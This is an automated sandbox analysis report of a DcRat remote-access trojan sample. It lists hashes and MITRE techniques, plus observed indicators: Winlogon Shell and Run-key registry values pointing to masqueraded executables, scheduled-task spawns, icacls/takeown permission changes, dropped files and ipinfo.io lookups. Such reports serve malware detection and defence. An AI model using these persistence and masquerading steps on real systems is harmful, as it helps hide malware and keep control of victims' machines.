dcrat | b82f23ee8617e7ad47d7513fe175e7211564eed5442002927a415d7a035da5cf

Resubmissions

26-12-2022 00:04

221226-acrmcafe2y 10

26-12-2022 00:03

26-12-2022 00:03

26-12-2022 00:03

26-12-2022 00:02

26-12-2022 00:01

Analysis

max time kernel
151s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
26-12-2022 00:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tmp.exe
Size

15.7MB
MD5

b27e540aef37c99f3cfd2766c2e61784
SHA1

c516b74daec17d1bc788c54433cf10899ee07e92
SHA256

28ebd60f492ca0957ac7ab3fdbcd8262966dee60dbec71d6bcac8d7efaf65479
SHA512

641d5daaef91d535f279ce7fea1f7c8b50ba87040480602e51951dfc2f3345699d3161d38b1b2ab7b3d4fbbcc56e0d597f125ed65ea3971df4888cb4a63897cd
SSDEEP

393216:XhBqJ0CE8/eXkkM7cGGBNpuXU8ysXVqNIyc2KBcr27eEHTPX:RBe0CiMihuXU8yYqNIygdrX

Score

10^/10

dcrat discovery exploit infostealer persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ipinfo.io/ip

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Modifies WinLogon for persistence 2 TTPs 16 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

ComdriverSvc.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Mail\\Idle.exe\", \"C:\\odt\\AnyDesk.exe\", \"C:\\Program Files\\Windows Defender\\ja-JP\\smss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Mail\\Idle.exe\", \"C:\\odt\\AnyDesk.exe\", \"C:\\Program Files\\Windows Defender\\ja-JP\\smss.exe\", \"C:\\Program Files (x86)\\Windows Portable Devices\\AnyDesk.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Mail\\Idle.exe\", \"C:\\odt\\AnyDesk.exe\", \"C:\\Program Files\\Windows Defender\\ja-JP\\smss.exe\", \"C:\\Program Files (x86)\\Windows Portable Devices\\AnyDesk.exe\", \"C:\\Recovery\\WindowsRE\\WmiPrvSE.exe\", \"C:\\odt\\winlogon.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Mail\\Idle.exe\", \"C:\\odt\\AnyDesk.exe\", \"C:\\Program Files\\Windows Defender\\ja-JP\\smss.exe\", \"C:\\Program Files (x86)\\Windows Portable Devices\\AnyDesk.exe\", \"C:\\Recovery\\WindowsRE\\WmiPrvSE.exe\", \"C:\\odt\\winlogon.exe\", \"C:\\Users\\Default User\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\dllhost.exe\", \"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\", \"C:\\odt\\powershell.exe\", \"C:\\Users\\All Users\\RuntimeBroker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Mail\\Idle.exe\", \"C:\\odt\\AnyDesk.exe\", \"C:\\Program Files\\Windows Defender\\ja-JP\\smss.exe\", \"C:\\Program Files (x86)\\Windows Portable Devices\\AnyDesk.exe\", \"C:\\Recovery\\WindowsRE\\WmiPrvSE.exe\", \"C:\\odt\\winlogon.exe\", \"C:\\Users\\Default User\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\dllhost.exe\", \"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\", \"C:\\odt\\powershell.exe\", \"C:\\Users\\All Users\\RuntimeBroker.exe\", \"C:\\Program Files\\Windows Portable Devices\\cmd.exe\", \"C:\\Program Files\\Windows Mail\\cmd.exe\", \"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\MoUsoCoreWorker.exe\", \"C:\\Recovery\\WindowsRE\\conhost.exe\", \"C:\\odt\\Registry.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Mail\\Idle.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Mail\\Idle.exe\", \"C:\\odt\\AnyDesk.exe\", \"C:\\Program Files\\Windows Defender\\ja-JP\\smss.exe\", \"C:\\Program Files (x86)\\Windows Portable Devices\\AnyDesk.exe\", \"C:\\Recovery\\WindowsRE\\WmiPrvSE.exe\", \"C:\\odt\\winlogon.exe\", \"C:\\Users\\Default User\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\dllhost.exe\", \"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\", \"C:\\odt\\powershell.exe\", \"C:\\Users\\All Users\\RuntimeBroker.exe\", \"C:\\Program Files\\Windows Portable Devices\\cmd.exe\", \"C:\\Program Files\\Windows Mail\\cmd.exe\", \"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\MoUsoCoreWorker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Mail\\Idle.exe\", \"C:\\odt\\AnyDesk.exe\", \"C:\\Program Files\\Windows Defender\\ja-JP\\smss.exe\", \"C:\\Program Files (x86)\\Windows Portable Devices\\AnyDesk.exe\", \"C:\\Recovery\\WindowsRE\\WmiPrvSE.exe\", \"C:\\odt\\winlogon.exe\", \"C:\\Users\\Default User\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\dllhost.exe\", \"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\", \"C:\\odt\\powershell.exe\", \"C:\\Users\\All Users\\RuntimeBroker.exe\", \"C:\\Program Files\\Windows Portable Devices\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Mail\\Idle.exe\", \"C:\\odt\\AnyDesk.exe\", \"C:\\Program Files\\Windows Defender\\ja-JP\\smss.exe\", \"C:\\Program Files (x86)\\Windows Portable Devices\\AnyDesk.exe\", \"C:\\Recovery\\WindowsRE\\WmiPrvSE.exe\", \"C:\\odt\\winlogon.exe\", \"C:\\Users\\Default User\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Mail\\Idle.exe\", \"C:\\odt\\AnyDesk.exe\", \"C:\\Program Files\\Windows Defender\\ja-JP\\smss.exe\", \"C:\\Program Files (x86)\\Windows Portable Devices\\AnyDesk.exe\", \"C:\\Recovery\\WindowsRE\\WmiPrvSE.exe\", \"C:\\odt\\winlogon.exe\", \"C:\\Users\\Default User\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\dllhost.exe\", \"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Mail\\Idle.exe\", \"C:\\odt\\AnyDesk.exe\", \"C:\\Program Files\\Windows Defender\\ja-JP\\smss.exe\", \"C:\\Program Files (x86)\\Windows Portable Devices\\AnyDesk.exe\", \"C:\\Recovery\\WindowsRE\\WmiPrvSE.exe\", \"C:\\odt\\winlogon.exe\", \"C:\\Users\\Default User\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\dllhost.exe\", \"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\", \"C:\\odt\\powershell.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Mail\\Idle.exe\", \"C:\\odt\\AnyDesk.exe\", \"C:\\Program Files\\Windows Defender\\ja-JP\\smss.exe\", \"C:\\Program Files (x86)\\Windows Portable Devices\\AnyDesk.exe\", \"C:\\Recovery\\WindowsRE\\WmiPrvSE.exe\", \"C:\\odt\\winlogon.exe\", \"C:\\Users\\Default User\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\dllhost.exe\", \"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\", \"C:\\odt\\powershell.exe\", \"C:\\Users\\All Users\\RuntimeBroker.exe\", \"C:\\Program Files\\Windows Portable Devices\\cmd.exe\", \"C:\\Program Files\\Windows Mail\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Mail\\Idle.exe\", \"C:\\odt\\AnyDesk.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Mail\\Idle.exe\", \"C:\\odt\\AnyDesk.exe\", \"C:\\Program Files\\Windows Defender\\ja-JP\\smss.exe\", \"C:\\Program Files (x86)\\Windows Portable Devices\\AnyDesk.exe\", \"C:\\Recovery\\WindowsRE\\WmiPrvSE.exe\", \"C:\\odt\\winlogon.exe\", \"C:\\Users\\Default User\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\dllhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Mail\\Idle.exe\", \"C:\\odt\\AnyDesk.exe\", \"C:\\Program Files\\Windows Defender\\ja-JP\\smss.exe\", \"C:\\Program Files (x86)\\Windows Portable Devices\\AnyDesk.exe\", \"C:\\Recovery\\WindowsRE\\WmiPrvSE.exe\", \"C:\\odt\\winlogon.exe\", \"C:\\Users\\Default User\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\dllhost.exe\", \"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\", \"C:\\odt\\powershell.exe\", \"C:\\Users\\All Users\\RuntimeBroker.exe\", \"C:\\Program Files\\Windows Portable Devices\\cmd.exe\", \"C:\\Program Files\\Windows Mail\\cmd.exe\", \"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\MoUsoCoreWorker.exe\", \"C:\\Recovery\\WindowsRE\\conhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Windows Mail\\Idle.exe\", \"C:\\odt\\AnyDesk.exe\", \"C:\\Program Files\\Windows Defender\\ja-JP\\smss.exe\", \"C:\\Program Files (x86)\\Windows Portable Devices\\AnyDesk.exe\", \"C:\\Recovery\\WindowsRE\\WmiPrvSE.exe\""	ComdriverSvc.exe

Process spawned unexpected child process 48 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3640	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2380	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3056	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2752	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2900	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4124	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	216	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4776	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3652	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1952	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2124	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4024	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2200	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4980	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	532	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2944	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1196	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4676	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3340	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1956	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	444	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4120	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4908	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4800	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4488	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2808	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3460	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4248	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	60	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4132	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4252	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2612	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3704	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4876	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3708	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3964	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4064	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3528	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3396	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2392	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4080	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4296	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4116	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4264	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1764	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1068	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2140	3408	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	664	3408	schtasks.exe

DCRat payload 7 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

Processes:

resource	yara_rule
C:\ProgramData\dc.exe	dcrat
C:\programdata\dc.exe	dcrat
C:\runtimeMonitor\ComdriverSvc.exe	dcrat
behavioral15/memory/4784-198-0x00000000003E0000-0x00000000004EC000-memory.dmp	dcrat
C:\runtimeMonitor\ComdriverSvc.exe	dcrat
C:\Recovery\WindowsRE\conhost.exe	dcrat
C:\Recovery\WindowsRE\conhost.exe	dcrat

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

65 3568 powershell.exe

flow	pid	process
65	3568	powershell.exe

Executes dropped EXE 22 IoCs

Processes:

1.exeConhost.exedc.exewsappz.exeComdriverSvc.exeAnyDesk.exeAnyDesk.exenet.execonhost.exeAnyDesk.exemigrate.exeWmiic.exeWmiic.exeWmiic.exeIntelConfigService.execurl.exeWrap.exeApplicationsFrameHost.exeSuperfetch.exeMSTask.exe~Ma4650.execurl.exe

pid	process
2744	1.exe
3532	Conhost.exe
1612	dc.exe
3248	wsappz.exe
4784	ComdriverSvc.exe
2020	AnyDesk.exe
3616	AnyDesk.exe
3996	net.exe
5248	conhost.exe
5208	AnyDesk.exe
4008	migrate.exe
4448	Wmiic.exe
5672	Wmiic.exe
5144	Wmiic.exe
3188	IntelConfigService.exe
4144	curl.exe
944	Wrap.exe
4936	ApplicationsFrameHost.exe
2380	Superfetch.exe
5376	MSTask.exe
5300	~Ma4650.exe
2364	curl.exe

Possible privilege escalation attempt 11 IoCs

exploit

Processes:

icacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid	process
6112	icacls.exe
6044	icacls.exe
4748	takeown.exe
2900	icacls.exe
1764	icacls.exe
5932	icacls.exe
5996	icacls.exe
5940	icacls.exe
260	icacls.exe
5588	icacls.exe
5692	icacls.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

migrate.exetmp.exedc.exeWScript.exeComdriverSvc.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	migrate.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	tmp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	dc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	ComdriverSvc.exe

Loads dropped DLL 3 IoCs

Processes:

~Ma4650.exe

pid process

5300 ~Ma4650.exe
5300 ~Ma4650.exe
5300 ~Ma4650.exe

pid	process
5300	~Ma4650.exe
5300	~Ma4650.exe
5300	~Ma4650.exe

Modifies file permissions 1 TTPs 11 IoCs

discovery

File Permissions Modification

T1222

Processes:

icacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid	process
6112	icacls.exe
4748	takeown.exe
2900	icacls.exe
1764	icacls.exe
5932	icacls.exe
5996	icacls.exe
6044	icacls.exe
5940	icacls.exe
260	icacls.exe
5588	icacls.exe
5692	icacls.exe

Adds Run key to start application 2 TTPs 32 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

ComdriverSvc.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Idle = "\"C:\\Program Files (x86)\\Windows Mail\\Idle.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Recovery\\WindowsRE\\WmiPrvSE.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Users\\Default User\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Users\\All Users\\RuntimeBroker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Program Files\\Windows Mail\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AnyDesk = "\"C:\\Program Files (x86)\\Windows Portable Devices\\AnyDesk.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SppExtComObj = "\"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell = "\"C:\\odt\\powershell.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MoUsoCoreWorker = "\"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\MoUsoCoreWorker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry = "\"C:\\odt\\Registry.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Idle = "\"C:\\Program Files (x86)\\Windows Mail\\Idle.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\Program Files\\Windows Defender\\ja-JP\\smss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Recovery\\WindowsRE\\WmiPrvSE.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winlogon = "\"C:\\odt\\winlogon.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Users\\All Users\\RuntimeBroker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winlogon = "\"C:\\odt\\winlogon.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SppExtComObj = "\"C:\\Recovery\\WindowsRE\\SppExtComObj.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AnyDesk = "\"C:\\Program Files (x86)\\Windows Portable Devices\\AnyDesk.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Recovery\\WindowsRE\\dllhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Recovery\\WindowsRE\\conhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry = "\"C:\\odt\\Registry.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AnyDesk = "\"C:\\odt\\AnyDesk.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AnyDesk = "\"C:\\odt\\AnyDesk.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Recovery\\WindowsRE\\dllhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Program Files\\Windows Portable Devices\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Program Files\\Windows Mail\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MoUsoCoreWorker = "\"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\MoUsoCoreWorker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Program Files\\Windows Portable Devices\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\Program Files\\Windows Defender\\ja-JP\\smss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Users\\Default User\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell = "\"C:\\odt\\powershell.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Recovery\\WindowsRE\\conhost.exe\""	ComdriverSvc.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

64 ipinfo.io
65 ipinfo.io

flow	ioc
64	ipinfo.io
65	ipinfo.io

Drops file in Program Files directory 13 IoCs

Processes:

ComdriverSvc.exe

description	ioc	process
File created	C:\Program Files (x86)\Windows Mail\6ccacd8608530f	ComdriverSvc.exe
File created	C:\Program Files\Windows Defender\ja-JP\smss.exe	ComdriverSvc.exe
File created	C:\Program Files\Windows Defender\ja-JP\69ddcba757bf72	ComdriverSvc.exe
File created	C:\Program Files\Windows Portable Devices\ebf1f9fa8afd6d	ComdriverSvc.exe
File created	C:\Program Files\Windows Mail\cmd.exe	ComdriverSvc.exe
File created	C:\Program Files\Windows Mail\ebf1f9fa8afd6d	ComdriverSvc.exe
File created	C:\Program Files (x86)\Windows Mail\Idle.exe	ComdriverSvc.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\Idle.exe	ComdriverSvc.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\MoUsoCoreWorker.exe	ComdriverSvc.exe
File created	C:\Program Files\Windows Portable Devices\cmd.exe	ComdriverSvc.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\1f93f77a7f4778	ComdriverSvc.exe
